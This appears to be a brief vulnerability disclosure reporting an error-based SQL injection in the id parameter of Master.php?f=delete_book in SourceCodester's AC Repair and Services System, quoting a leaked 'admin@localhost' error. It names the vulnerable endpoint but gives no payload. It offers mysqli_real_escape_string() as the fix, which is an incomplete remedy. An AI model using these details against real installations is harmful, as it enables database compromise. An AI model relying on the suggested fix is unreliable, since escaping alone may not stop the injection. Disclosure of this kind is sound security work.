Gửi #180827: SourceCodester AC Repair and Services System HTTP POST Request sql injection in Master.php

I find sql injection in Sourcecodester Ac Repair And Services System(https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html).It is a sql injection in url/classes/Master.php?f=delete_book.

And it returns "{"status":"failed","error":"XPATH syntax error: '~admin@localhost~'"}".Obviously, there is an error injection vulnerability here due to insufficient filtering of the id parameter.My suggestion for modification is to use mysqli_real_escape_string() to protect controllable ID parameters from malicious exploitation by hackers, resulting in SQL error injection
